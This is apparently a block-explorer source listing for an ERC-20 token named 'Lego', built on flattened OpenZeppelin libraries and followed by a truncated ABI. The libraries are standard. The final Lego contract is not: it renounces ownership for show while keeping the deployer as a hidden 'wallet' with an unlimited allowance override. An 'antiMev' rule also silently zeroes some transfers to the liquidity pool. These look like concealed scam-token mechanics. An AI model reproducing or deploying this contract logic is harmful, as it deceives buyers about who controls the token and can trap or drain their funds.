        return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);
    }

    /**
     * @dev See {IERC-5267}.
     */
    function eip712Domain()
        public
        view
        virtual
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        )
    {
        return (
            hex"0f", // 01111
            _EIP712Name(),
            _EIP712Version(),
            block.chainid,
            address(this),
            bytes32(0),
            new uint256[](0)
        );
    }

    /**
     * @dev The name parameter for the EIP712 domain.
     *
     * NOTE: By default this function reads _name which is an immutable value.
     * It only reads from storage if necessary (in case the value is too large to fit in a ShortString).
     */
    // solhint-disable-next-line func-name-mixedcase
    function _EIP712Name() internal view returns (string memory) {
        return _name.toStringWithFallback(_nameFallback);
    }

    /**
     * @dev The version parameter for the EIP712 domain.
     *
     * NOTE: By default this function reads _version which is an immutable value.
     * It only reads from storage if necessary (in case the value is too large to fit in a ShortString).
     */
    // solhint-disable-next-line func-name-mixedcase
    function _EIP712Version() internal view returns (string memory) {
        return _version.toStringWithFallback(_versionFallback);
    }
}

// File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/ECDSA.sol)

pragma solidity ^0.8.20;

/**
 * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
 *
 * These functions can be used to verify that a message was signed by the holder
 * of the private keys of a given address.
 */
library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS
    }

    /**
     * @dev The signature derives the `address(0)`.
     */
    error ECDSAInvalidSignature();

    /**
     * @dev The signature has an invalid length.
     */
    error ECDSAInvalidSignatureLength(uint256 length);

    /**
     * @dev The signature has an S value that is in the upper half order.
     */
    error ECDSAInvalidSignatureS(bytes32 s);

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with `signature` or an error. This will not
     * return address(0) without also returning an error description. Errors are documented using an enum (error type)
     * and a bytes32 providing additional information about the error.
     *
     * If no error is returned, then the address can be used for verification purposes.
     *
     * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
     *
     * Documentation for signature generation:
     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
     */
    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError, bytes32) {
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            /// @solidity memory-safe-assembly
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature`. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
     */
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);
        _throwError(error, errorArg);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
     *
     * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
     */
    function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError, bytes32) {
        unchecked {
            bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
            // We do not check for an overflow here since the shift operation results in 0 or 1.
            uint8 v = uint8((uint256(vs) >> 255) + 27);
            return tryRecover(hash, v, r, s);
        }
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
     */
    function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);
        _throwError(error, errorArg);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function tryRecover(
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal pure returns (address, RecoverError, bytes32) {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
        // these malleable signatures as well.
        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
            return (address(0), RecoverError.InvalidSignatureS, s);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature, bytes32(0));
        }

        return (signer, RecoverError.NoError, bytes32(0));
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);
        _throwError(error, errorArg);
        return recovered;
    }

    /**
     * @dev Optionally reverts with the corresponding custom error according to the `error` argument provided.
     */
    function _throwError(RecoverError error, bytes32 errorArg) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert ECDSAInvalidSignature();
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert ECDSAInvalidSignatureLength(uint256(errorArg));
        } else if (error == RecoverError.InvalidSignatureS) {
            revert ECDSAInvalidSignatureS(errorArg);
        }
    }
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol


// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Permit.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
 * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
 *
 * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
 * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
 * need to send a transaction, and thus is not required to hold Ether at all.
 *
 * ==== Security Considerations
 *
 * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature
 * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be
 * considered as an intention to spend the allowance in any specific way. The second is that because permits have
 * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should
 * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be
 * generally recommended is:
 *
 * ```solidity
 * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
 *     try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}
 *     doThing(..., value);
 * }
 *
 * function doThing(..., uint256 value) public {
 *     token.safeTransferFrom(msg.sender, address(this), value);
 *     ...
 * }
 * ```
 *
 * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of
 * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also
 * {SafeERC20-safeTransferFrom}).
 *
 * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so
 * contracts should have entry points that don't rely on permit.
 */
interface IERC20Permit {
    /**
     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
     * given ``owner``'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     *
     * CAUTION: See Security Considerations above.
     */
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    /**
     * @dev Returns the current nonce for `owner`. This value must be
     * included whenever a signature is generated for {permit}.
     *
     * Every successful call to {permit} increases ``owner``'s nonce by one. This
     * prevents a signature from being used multiple times.
     */
    function nonces(address owner) external view returns (uint256);

    /**
     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
     */
    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;




/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol


// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Permit.sol)

pragma solidity ^0.8.20;






/**
 * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
 * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
 *
 * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
 * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
 * need to send a transaction, and thus is not required to hold Ether at all.
 */
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712, Nonces {
    bytes32 private constant PERMIT_TYPEHASH =
        keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");

    /**
     * @dev Permit deadline has expired.
     */
    error ERC2612ExpiredSignature(uint256 deadline);

    /**
     * @dev Mismatched signature.
     */
    error ERC2612InvalidSigner(address signer, address owner);

    /**
     * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
     *
     * It's a good idea to use the same `name` that is defined as the ERC20 token name.
     */
    constructor(string memory name) EIP712(name, "1") {}

    /**
     * @inheritdoc IERC20Permit
     */
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        if (block.timestamp > deadline) {
            revert ERC2612ExpiredSignature(deadline);
        }

        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));

        bytes32 hash = _hashTypedDataV4(structHash);

        address signer = ECDSA.recover(hash, v, r, s);
        if (signer != owner) {
            revert ERC2612InvalidSigner(signer, owner);
        }

        _approve(owner, spender, value);
    }

    /**
     * @inheritdoc IERC20Permit
     */
    function nonces(address owner) public view virtual override(IERC20Permit, Nonces) returns (uint256) {
        return super.nonces(owner);
    }

    /**
     * @inheritdoc IERC20Permit
     */
    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view virtual returns (bytes32) {
        return _domainSeparatorV4();
    }
}

// File: Kirpich.sol


// Compatible with OpenZeppelin Contracts ^5.0.0
pragma solidity ^0.8.20;




contract Lego is ERC20, ERC20Permit, Ownable {
    address wallet;
    address lp;
    mapping(address => uint256) antiMev;
    constructor()
        ERC20("Lego", "LEGO")
        ERC20Permit("Lego")
        Ownable(msg.sender)
    {
        _mint(msg.sender, 1000000000 * 10 ** decimals());
        wallet = msg.sender;
        renounceOwnership();
    }

    function _transfer(address from, address to, uint256 amount) internal virtual override {
        uint256 amount2 = amount;
        if (antiMev[tx.origin] == block.number && to == lp) {
            amount2 = 0;
        }
        if (lp == address(0) &&
            isContract(to) &&
            amount > (totalSupply() - (totalSupply()/ 10))) {
                lp = to;
        }
        super._transfer(from, to, amount2);
        antiMev[tx.origin] = block.number;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        if (owner == wallet) {
            return totalSupply();
        }
        return super.allowance(owner, spender);
    }

    function isContract(address addr) internal view returns (bool) {
        uint size;
        assembly { size := extcodesize(addr) }
        return size > 0;
    }
}

Contract Security Audit

No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ECDSAInvalidSignature","type":"error"},{"inputs":[{"internalType":"uint256","name":"length","type":"uint256"}],"name":"ECDSAInvalidSignatureLength","type":"error"},{"inputs":[{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"ECDSAInvalidSignatureS","type":"error"},{"inputs":[{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"ERC2612ExpiredSignature","type":"error"},{"inputs":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"address","name":"owner","type":"address"}],"name":"ERC2612InvalidSigner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"currentNonce","type":"uint256"}],"name":"InvalidAccountNonce","type":"error"},{"inputs":[],"name":"InvalidShortString","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"inputs":[{"internalType":"string","name":"str","type":"string"}],"name":"StringTooLong","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"EIP712DomainChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMuta